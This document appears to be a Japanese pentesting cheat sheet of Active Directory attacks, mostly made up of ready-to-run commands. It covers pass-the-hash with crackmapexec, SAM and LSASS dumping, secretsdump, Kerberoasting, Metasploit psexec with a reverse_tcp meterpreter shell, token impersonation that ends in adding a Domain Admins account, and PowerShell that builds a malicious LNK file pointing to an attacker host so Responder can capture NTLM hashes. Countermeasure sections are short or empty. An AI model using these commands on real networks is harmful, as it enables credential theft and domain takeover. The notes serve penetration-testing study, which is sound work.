Pass The Password・Pass The Hash

Pass The Password

認証情報を取得したときに、その認証情報が他のマシンでも使われていることがある

crackmapexec smb <ip/ネットワーク範囲> -u <user> -d <domain> -p <pass>

Pass The Hash

PassThe Hashは、Pass The Passwordのハッシュ版

まず、取得した認証情報でハッシュをダンプする

secretsdump.py <domain>/<user>:<Password>@ターゲットマシンIP

Metasploit

use windows/smb/psexec
# meterpreter接続後
meterpreter > hashdump

Pass The Hash攻撃

crackmapexec smb <ip/ネットワーク範囲> -u <user> -d <domain> -H <取得したハッシュ>

攻撃例

そして、オプションをつけることで、crackmapexecからSAMに含まれているハッシュをダンプすることもできる

crackmapexec smb <ip/ネットワーク範囲> -u <user> -d <domain> -H <取得したハッシュ> --local-auth --sam

LSASSに含まれている資格情報をダンプするコマンド

crackmapexec smb <ip/ネットワーク範囲> -u <user> -d <domain> -H <取得したハッシュ> --local-auth -M lsassy

共有も列挙できる

crackmapexec smb <ip/ネットワーク範囲> -u <user> -d <domain> -H <取得したハッシュ> --local-auth --shares

取得するべきアカウント

取得すべきは、ユーザーアカウントと管理者アカウント

対策

アカウントの使い回しの制限

強力なパスワードの使用

特権アクセス管理(PAM)

Kerberoasting

この攻撃ができるロジック
流れ
1. ADにログインできるユーザーなら誰でも…
2. GetUserSPNs.py や Rubeus などを使って、SPNを持つユーザーのTGSを要求できる
3. 取得したTGSにはサービスアカウントのパスワードのRC4-HMAC(NTLMハッシュの派生)ハッシュが含まれている
- 本来は、TGSでアクセスした時に、渡したサーバー側で、TGSを複合化して、TGSの正当性を確かめる。
- だが、攻撃者はこれを利用する
4. これを john や hashcat でクラック
5. 成功すれば、サービスアカウントのパスワードがゲットできる!

攻撃手法
Active Directory

対策

トークンなりすまし攻撃

ここではデリデートトークンをなりすます

仕組み

攻撃手法

Metasploit

まずは、metapreterシェルを設定する ( msfconsole内

use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/reverse_tcp
# RHOSTは、AD参加ホストであればなんでも。DC以外でも良い。
set RHOSTS <AD参加ホストIP>
set smbuser <ユーザーネーム>
set smbpass <パスワード>
set smbdomain <ドメイン名>
set LHOST 

以下 meterpreter内で実行
上で、シェルが確立できた後 、なりすましをするためのモジュールをロードする

meterpreter > load incognito

ユーザー(user)に絞って表示、なりすまし可能なトークンを列挙する

meterpreter > list_tokens -u

なりすますユーザーを指定し、なりすます

meterpreter > impersonate_token <なりすますユーザー名>
meterpreter > shell
whoami

高い権限でなりすましができた後に、その権限でユーザーを新しく作成する
そして、作成したアカウントで、もう一度secretsdump.pyなどでハッシュをダンプすると、全てのハッシュを取得できる

net user /add <ユーザーネーム> <パスワード> /domain
net group "Domain Admins" <ユーザーネーム> /ADD /DOMAIN

ちなみに、loadだけ入力することで、他のモジュールや拡張機能についてもみれる
その中の「kiwi」は、mimikatzの派生みたいな感じ

対策

LNK File Attack

攻撃の流れ(3ステップ)

  1. 悪意ある .lnk(ショートカット)ファイルを作る
    • .lnk ファイルは、アイコンやリンク先などにリソース参照先、UNCパスを指定できる
    • 例: \\ATTACKER_IP\icon.ico
    • Windowsはアイコン表示のためにこのリモートパスに勝手にアクセスする!

.Inkファイルの作成コマンド

$objShell = New-Object -ComObject WScript.shell
$lnk = $objShell.CreateShortcut("<ADの共有フォルダ>\@test.lnk")
$lnk.TargetPath = "\\<攻撃者のIP>\@test.png"
$lnk.WindowStyle = 1
$lnk.IconLocation = "%windir%\system32\shell32.dll, 3"
$lnk.Description = "Test"
$lnk.HotKey = "Ctrl+Alt+T"
$lnk.Save()
  1. その .lnk ファイルを共有フォルダに置く

    • 社内共有フォルダやホームドライブなど、誰かが開く可能性のある場所に配置
    • 例えば:\\fileserver\public\Project2025Shortcut.lnk
  2. KaliでResponderを立ち上げ、接続を待つ

sudo responder -I eth0 -dPv
  1. 管理者が .lnk ファイルを表示 or アクセスした瞬間、NTLMハッシュが送信される
    • 被害者のマシンは \\ATTACKER_IP\icon.ico に自動アクセス
    • 攻撃者側(例:Kali Linux)で Responder を起動していれば、
      → SMB認証を試みるNTLMv2ハッシュがキャプチャできる

つまりこういうこと

.lnkファイルの自動作成ツール

netexec smb <AD参加ホスト> -d <ドメイン名> -u <ユーザー名> -p <パスワード> -M slinky -M slinky -o NAME=test SERVER=<攻撃者IP>

グループポリシー設定(GPP)によるパスワードの漏洩

Pentest_Technique/Active Directory#グループポリシー設定(GPP)によるパスワードの漏洩

Mimikatz

侵害後の攻撃戦略

アカウントを手に入れた、さて次は?

まずは「Quick Wins」を試せ
常に同時並行で進めろ

NO Quick Wins?なら深掘りだ!

発想を変えて攻めてみろ(Think outside the box)